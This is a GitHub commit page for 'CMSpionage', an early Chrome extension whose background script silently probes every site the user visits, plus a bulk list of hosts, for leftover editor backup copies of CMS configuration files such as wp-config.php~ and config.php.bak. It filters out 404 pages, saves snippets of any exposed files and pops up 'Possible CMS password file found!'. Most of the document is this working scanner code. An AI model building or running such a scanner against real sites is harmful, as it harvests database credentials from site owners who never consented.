Skip to content
This repository has been archived by the owner on Nov 19, 2020. It is now read-only.

Commit

Permalink
made a new repo to open source this
Browse files Browse the repository at this point in the history
  • Loading branch information
feross committed Dec 1, 2011
0 parents commit 68a13f2
Show file tree
Hide file tree
Showing 26 changed files with 1,000,933 additions and 0 deletions.
2 changes: 2 additions & 0 deletions .gitignore
@@ -0,0 +1,2 @@
.DS_Store
DB Passwords
315 changes: 315 additions & 0 deletions ChromeExtension/background.html
@@ -0,0 +1,315 @@
<html>
<head>
<script src="lib/jquery.js"></script>
<script>

/*
TODO
WISHLIST
- Log page
- show items in order
- allow deletion
- allow retesting a site
- Improve design of log and options pages
*/

var settings = {
windows : false, // search for windows temp files (. -> _) (2x slower)
swapFiles : false, // search for swap files (less useful) (2x slower)
}

// String truncation code from Stack Overflow: http://goo.gl/kAq6w
String.prototype.trunc = function(n) {
return this.substr(0,n-1)+(this.length>n?'...':'');
};

/**
* Wrapper for values we want to persist in localStorage.
* Only works for primitive values.
*/
var store = new (function() {
var badgeCount = 0; // the number of unviewed 'found files'
if (localStorage.badgeCount) {
badgeCount = parseInt(localStorage.badgeCount);
}
this.__defineGetter__('badgeCount', function() {
return badgeCount;
});
this.__defineSetter__('badgeCount', function(val) {
badgeCount = val;
localStorage.badgeCount = String(badgeCount);
});
});

/**
* Commonly used badge functionality
*/
function refreshBadge() {
if (store.badgeCount) {
chrome.browserAction.setBadgeText({text : String(store.badgeCount)});
} else {
chrome.browserAction.setBadgeText({text : ''});
}
}
refreshBadge();

function incBadge() {
store.badgeCount += 1;
refreshBadge();
}

function decBadge() {
store.badgeCount -= 1;
refreshBadge();
}

function zeroBadge() {
store.badgeCount = 0;
refreshBadge();
}

/**
* Object that stores all the sites we've tested for and their results.
* Used to render the log page.
*/
var testedSites = {};
if (localStorage.testedSites) {
testedSites = JSON.parse(localStorage.testedSites);
}
function saveTestedSites() {
localStorage.testedSites = JSON.stringify(testedSites);
}

var configFiles = [
'config.php', // phpBB, ExpressionEngine
'configuration.php', // Joomla
'LocalSettings.php', // MediaWiki
'mt-config.cgi', // Movable Type
// 'mt-static/mt-config.cgi' // Movable Type
'settings.php', // Drupal
// 'system/config/config.php', // Contao
'wp-config.php', // Wordpress
];

/**
* Each backup file prefix/suffix is represented by an array, where
* arr[0] is the prefix and arr[1] is the suffix.
*/
var backupFileFormat = [
['', '.save'], // Nano crash file
['', '.save.1'], // Nano crash file (only saved sometimes)
['', '.save.2'], // Nano crash file (only saved sometimes)
['%23', '%23'], // Emacs crash file (%23 is urlencoded hash (#))
['', '~'], // Vim backup file and Gedit crash file
['', '.bak'], // Common backup file extension
['', '.backup'], // Common backup file extension
];

/**
* Swap files only contain the changes since the last save, though that
* could still be very useful.
*/
var swapFileFormat = [
['', '.swp'], // Vim
['', '.swo'], // Vim
['.', '.swp'], // Vim (on unix)
['.', '.swp'], // Vim (on unix)
['', '._'], // Mac OS X resource fork file (maybe useful)
];

/**
* Build up an array of all file names to test for.
*/
function allTestFiles() {
var ret = [];

var tempFileFormats = $.merge([], backupFileFormat); // clone array
if (settings.swapFiles) {
$.merge(tempFileFormats, swapFileFormat); // merge arrays
}

$.each(configFiles, function(i, configFile) {
$.each(tempFileFormats, function(i, tempFormat) {
var file = tempFormat[0] + configFile + tempFormat[1];
ret.push(file);

// On windows, vim replaces dots with underscores in backup file.
if (settings.windows) {
var windowsFile = file.replace(/\./gi, '_');
ret.push(windowsFile);
}
});
});

return ret;
}
var testFiles = allTestFiles();

/**
* Test a given origin (ex: http://feross.org:80/) for publicly-visible
* CMS configuration files.
*
* We call it an "origin" because it is comprised of protocol, hostname,
* and port -- just like the same-origin policy.
*/
function testOrigin(origin, callback, showNotif) {
if (!origin ||
testedSites[origin] /* only check each site once */ ) {
callback();
return;
}

var notFoundPages = [];

var len = testFiles.length;

function checkFile(i) {
if (i > len - 1) {
// Mark this site as checked & nothing was found
if (!testedSites[origin]) {
testedSites[origin] = [];
saveTestedSites();
}

callback();
return;
};

var url = origin + testFiles[i];

$.ajax({
url: url,
success: function(data, textStatus, jqXHR) {
// Data looks the same as a Not Found page, so ignore it
var notFound;
$.each(notFoundPages, function(i, notFoundPage) {
if (data.trunc(100) == notFoundPage.trunc(100)) {
notFound = true;
}
});
if (notFound) return;

// Data that looks like an HTML page
var pageHead = data.trunc(100).toLowerCase();
if (pageHead.indexOf('<!doctype') != -1 ||
pageHead.indexOf('<!--') != -1) {
return;
}

onFoundFile(origin, url, data, showNotif);
},
complete: function(jqXHR, textStatus) {
i += 1;
checkFile(i);
}
});
}

// When looking for password files, if we find a file that has a 200
// code (success), but it looks like this Not Found page, then
// ignore it.
$.ajax({
url: origin + 'TESTING_FOR_404_LULZ.php',
success: function(data, textStatus, jqXHR){
notFoundPages.push(data);
},
complete: function(jqXHR, textStatus) {
// We need to test for a second type of Not Found page because
// lots of servers act differently for URLs that contain %23,
// for some reason.
$.ajax({
url: origin + '%23_TESTING_FOR_404_LULZ.php',
success: function(data, textStatus, jqXHR){
notFoundPages.push(data);
},
complete: function(jqXHR, textStatus) {
checkFile(0);
}
});
}
});
}

function onFoundFile(origin, url, data, showNotif) {
incBadge();

if (!testedSites[origin]) {
testedSites[origin] = [];
}
testedSites[origin].push({
origin : origin,
url : url,
data: data.trunc(200)}
);
saveTestedSites();

if (showNotif) {
// Create a simple text notification:
var notification = webkitNotifications.createNotification(
'crosshair.png',
'Possible CMS password file found!', // notification title
url // notification body text
);

// Then show the notification.
notification.show();

notification.onclick = function() {
chrome.tabs.create({url : url});
decBadge();
this.cancel();
};

// Then hide notication after n seconds.
window.setTimeout(function() {
notification.cancel();
}, 10000);
}
}

function startTest() {
var re = /\d+\t(.+)/g;
$.get('sites.txt').success(function(data) {

function testNextSite() {
var result;
if ((result = re.exec(data)) != null) {
var hostname = result[1];
console.log(hostname);

testOrigin('http://'+hostname+'/', testNextSite);
}
}
for (var i = 0; i < 10; i++) {
testNextSite();
}
});
}

// Called on every page load
chrome.extension.onRequest.addListener(
function(loc, sender, sendResponse) {
if (!loc) return;

var origin = loc.protocol + '//' + loc.hostname;
if (loc.port) {
origin += ':' + loc.port;
}
origin += '/';

testOrigin(origin, function() {}, true);
sendResponse();
}
);

// Called when the user clicks on the browser action
chrome.browserAction.onClicked.addListener(function(tab) {
chrome.tabs.create({url : 'log.html'});
zeroBadge();
});

</script>
</head>
</html>
3 changes: 3 additions & 0 deletions ChromeExtension/contentscript.js
@@ -0,0 +1,3 @@
var loc = window.location;

chrome.extension.sendRequest(loc);
Binary file added ChromeExtension/crosshair.png
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added ChromeExtension/icon.png
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
4 changes: 4 additions & 0 deletions ChromeExtension/lib/jquery.js

Large diffs are not rendered by default.

1 change: 1 addition & 0 deletions ChromeExtension/lib/jquery.tmpl.min.js

Some generated files are not rendered by default. Learn more about how customized files appear on GitHub.

34 changes: 34 additions & 0 deletions ChromeExtension/log.html
@@ -0,0 +1,34 @@
<!DOCTYPE html>
<html>
<head>
<title>Possible CMS Password Files</title>
</head>
<body>
<script src="lib/jquery.js"></script>
<script src="lib/jquery.tmpl.min.js"></script>
<script>
$(function() {
var testedSites =
chrome.extension.getBackgroundPage().testedSites;

if (!testedSites) return;

$.each(testedSites, function(i, v) {
$("#logItem")
.tmpl(v)
.appendTo('#wrapper');
})
});
</script>
<script id="logItem" type="text/x-jquery-tmpl">
<div>
<img src="chrome://favicon/${origin}">
<h2><a href="${url}" target="_blank">${url}</a></h2>
<small><pre>${data}</pre></small>
</div>
</script>
<div id="wrapper">
<h1>Possible CMS Password Files</h1>
</div>
</body>
</html>
24 changes: 24 additions & 0 deletions ChromeExtension/manifest.json
@@ -0,0 +1,24 @@
{
"name": "CMSpionage",
"version": "1.0",
"description": "The first extension I've made.",
"browser_action": {
"default_icon": "icon.png"
},
"background_page": "background.html",
"options_page": "options.html",
"content_scripts": [
{
"matches": ["http://*/*", "https://*/*"],
"js": ["contentscript.js"]
}
],
"permissions": [
"tabs",
"unlimitedStorage",
"chrome://favicon/",
"notifications",
"http://*/*",
"https://*/*"
]
}

0 comments on commit 68a13f2

Please sign in to comment.